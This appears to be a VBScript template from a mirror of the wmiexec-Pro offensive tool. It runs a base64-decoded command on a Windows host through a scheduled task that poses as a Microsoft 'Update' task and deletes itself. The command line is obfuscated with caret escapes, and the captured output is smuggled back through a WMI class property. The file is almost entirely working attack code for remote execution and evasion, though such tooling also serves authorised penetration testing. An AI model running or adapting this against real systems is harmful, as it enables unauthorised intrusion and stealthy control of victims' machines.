mirror of
https://github.com/XiaoliChan/wmiexec-Pro.git
synced 2026-10-19 15:21:54 +08:00
XiaoliChan
96 lines
3.3 KiB
Plaintext
96 lines
3.3 KiB
Plaintext
Dim command
|
|
Dim cwd
|
|
command = Base64StringDecode("REPLACE_WITH_COMMAND")
|
|
cwd = Base64StringDecode("REPLACE_WITH_CWD")
|
|
|
|
If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then
|
|
inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME"
|
|
Set inStream = CreateObject("ADODB.Stream")
|
|
inStream.Open
|
|
inStream.type= 1 'TypeBinary
|
|
inStream.LoadFromFile(inputFile)
|
|
readBytes = inStream.Read()
|
|
|
|
Set oXML = CreateObject("Msxml2.DOMDocument")
|
|
Set oNode = oXML.CreateElement("base64")
|
|
oNode.dataType = "bin.base64"
|
|
oNode.nodeTypedValue = readBytes
|
|
Base64Encode = oNode.text
|
|
|
|
On Error Resume Next
|
|
Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""")
|
|
If Err.Number <> 0 Then
|
|
Err.Clear
|
|
wbemCimtypeString = 8
|
|
Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
|
|
Set objInstance = objClass.spawninstance_
|
|
objInstance.CreationClassName = "RELEACE_WITH_UUID"
|
|
objInstance.DebugOptions = Base64Encode
|
|
objInstance.put_
|
|
Else
|
|
End If
|
|
Else
|
|
Const TriggerTypeDaily = 1
|
|
Const ActionTypeExec = 0
|
|
Set service = CreateObject("Schedule.Service")
|
|
Call service.Connect
|
|
Dim rootFolder
|
|
Set rootFolder = service.GetFolder("\")
|
|
Dim taskDefinition
|
|
Set taskDefinition = service.NewTask(0)
|
|
Dim regInfo
|
|
Set regInfo = taskDefinition.RegistrationInfo
|
|
regInfo.Description = "Update"
|
|
regInfo.Author = "Microsoft"
|
|
Dim settings
|
|
Set settings = taskDefinition.settings
|
|
settings.Enabled = True
|
|
settings.StartWhenAvailable = True
|
|
settings.Hidden = False
|
|
settings.DisallowStartIfOnBatteries = False
|
|
Dim triggers
|
|
Set triggers = taskDefinition.triggers
|
|
Dim trigger
|
|
Set trigger = triggers.Create(7)
|
|
Dim Action
|
|
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
|
|
Action.Path = "c:\windows\system32\cmd.exe"
|
|
Action.arguments = "/Q /c c^d /d " & cwd & " & e^c^h^o [COMMAND] > C:\Windows\Temp\REPLACE_WITH_FILENAME & " & command & " 1>> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1 & e^c^h^o [PATH] >> C:\Windows\Temp\REPLACE_WITH_FILENAME & c^d >> C:\Windows\Temp\REPLACE_WITH_FILENAME"
|
|
Dim objNet, LoginUser
|
|
Set objNet = CreateObject("WScript.Network")
|
|
LoginUser = objNet.UserName
|
|
If UCase(LoginUser) = "SYSTEM" Then
|
|
Else
|
|
LoginUser = Empty
|
|
End If
|
|
Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3)
|
|
Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0)
|
|
End If
|
|
|
|
Function FileExists(FilePath)
|
|
Set fso = CreateObject("Scripting.FileSystemObject")
|
|
If fso.FileExists(FilePath) Then
|
|
FileExists=CBool(1)
|
|
Else
|
|
FileExists=CBool(0)
|
|
End If
|
|
End Function
|
|
|
|
Function Base64StringDecode(ByVal vCode)
|
|
Set oXML = CreateObject("Msxml2.DOMDocument")
|
|
Set oNode = oXML.CreateElement("base64")
|
|
oNode.dataType = "bin.base64"
|
|
oNode.text = vCode
|
|
Set BinaryStream = CreateObject("ADODB.Stream")
|
|
BinaryStream.Type = 1
|
|
BinaryStream.Open
|
|
BinaryStream.Write oNode.nodeTypedValue
|
|
BinaryStream.Position = 0
|
|
BinaryStream.Type = 2
|
|
' All Format => utf-16le - utf-8 - utf-16le
|
|
BinaryStream.CharSet = "utf-8"
|
|
Base64StringDecode = BinaryStream.ReadText
|
|
Set BinaryStream = Nothing
|
|
Set oNode = Nothing
|
|
End Function
|